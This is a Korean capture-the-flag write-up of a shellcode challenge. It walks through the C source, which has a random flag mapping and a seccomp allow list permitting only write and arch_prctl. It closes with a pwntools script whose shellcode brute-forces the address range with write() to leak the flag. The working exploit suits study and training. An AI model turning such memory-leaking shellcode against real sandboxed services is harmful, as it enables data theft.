void Init() {
int fd;
unsigned int seed;
setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stdin, 0, _IOLBF, 0);
setvbuf(stderr, 0, _IOLBF, 0);
if ((fd = open("/dev/urandom", O_RDONLY)) == -1)
HandleError("open error");
if ((read(fd, &seed, 4)) == -1)
HandleError("read error");
srand(seed);
seed = 0;
}
Init();
// Insert flag into somewhere.
if ((fd = open("./flag", O_RDONLY)) == -1)
HandleError("open error");
flag_mem = mmap((void *)((((uint64_t)rand() << 12) & 0x0000fffff000) | 0x080000000000), 0x1000, PROT_WRITE | PROT_READ, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
if (flag_mem == MAP_FAILED)
HandleError("mmap error");
if (read(fd, flag_mem, 0x500) == -1)
HandleError("read error");
close(fd);
main()
함수에서 Init()
함수를 호출해 랜덤 시드를 설정한다. 그리고 flag
파일을 열어 랜덤한 메모리 위치(0x800?????000)
에 파일 데이터를 쓴다.
uint8_t stub[] = "H1\xc0H1\xdbH1\xc9H1\xd2H1\xf6H1\xffH1\xedM1\xc0M1"
"\xc9M1\xd2M1\xdbM1\xe4M1\xedM1\xf6M1\xff\xc5\xfc\x77";
// Create a space for shellcode and initialize it.
sh = mmap((void *)0xbeefdead000, 0x1000, 7, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
if (sh == MAP_FAILED)
HandleError("mmap error");
memset(sh, 0x90, 0x1000);
memcpy(sh, stub, sizeof(stub) - 1);
// Create a stack space for rsp.
stack_mem = mmap((void *)0xdeadbeef000, 0x1000, PROT_WRITE | PROT_READ, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
if (stack_mem == MAP_FAILED)
HandleError("mmap error");
// Get and execute shellcode.
puts("find me :) ");
sleep(1);
printf("shellcode: ");
read(0, sh + sizeof(stub) - 1, 1000);
쉘코드와 쉘코드를 위한 스택 공간 sh
, stack_mem
을 할당한 후, sh
에 쉘코드를 입력받는다. 이때 sh
영역에는 stub
코드가 저장되는데, 이 코드는 레지스터 초기화를 진행한다.
// sys_write and sys_arch_prctl are allowed.
// sys_arch_prctl is used to initialize fs and gs.
Sandbox();
asm("mov %0, %%rsp" :: "r"(stack_mem));
asm("add $0x800, %rsp");
asm("mov %0, %%rax" :: "r"(sh));
fd = 0;
sh = 0;
flag_mem = 0;
stack_mem = 0;
asm("jmp *%rax");
rsp
를 stack_mem
의 시작 주소로 옮기고, sh
로 점프한다. 이 전에 Sandbox()
함수가 호출된다.
void Sandbox() {
scmp_filter_ctx ctx;
if ((ctx = seccomp_init(SCMP_ACT_KILL)) == NULL)
HandleError("seccomp error");
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(arch_prctl), 0);
if (seccomp_load(ctx) < 0) {
seccomp_release(ctx);
HandleError("seccomp error");
}
seccomp_release(ctx);
arch_prctl(ARCH_SET_FS, NULL);
arch_prctl(ARCH_SET_GS, NULL);
}
Sandbox()
함수는 SECCOMP
의 Allow List
를 등록하는 함수로, write()
, arch_prctl()
시스템 콜을 제외한 모든 시스템 콜의 사용을 제한한다.
해당 문제에서 사용할 수 있는 시스템 콜은 write()
, arch_prctl()
함수이다. 따라서 쉘코드에서 write()
함수를 이용한다면 임의의 메모리 영역의 데이터를 출력할 수 있다.
한편 flag
데이터가 포함된 메모리 영역의 범위는 0x80000000000
부터 0x800fffff000 + 458
이므로, 이 메모리 영역을 모두 읽는다면 플래그 값을 찾을 수 있을 것이다.
from pwn import *
BASE_ADDR = 0x80000000000
context.arch = 'amd64'
#p = process('./find_candy')
p = remote(IP/DOMAIN, PORT)
sc = 'mov r8, 0x0\n'
sc += 'loop:'
sc += 'mov rdi, 0x1\n' #STDOUT_FILENO
sc += 'mov r9, r8\n'
sc += 'shl r9, 0xc\n'
sc += 'mov rax, 0x80000000000\n' #buf addr = 0x800x xxxx 000
sc += 'or r9, rax\n'
sc += 'mov rsi, r9\n'
sc += 'mov rdx, 0x1000\n' #size = 0x1000
sc += 'mov rax, 0x1\n' #write() syscall
sc += 'syscall\n'
sc += 'inc r8\n'
sc += 'cmp r8, 0x100000\n'
sc += 'jle loop\n'
p.sendafter(b'shellcode: ', asm(sc))
p.interactive()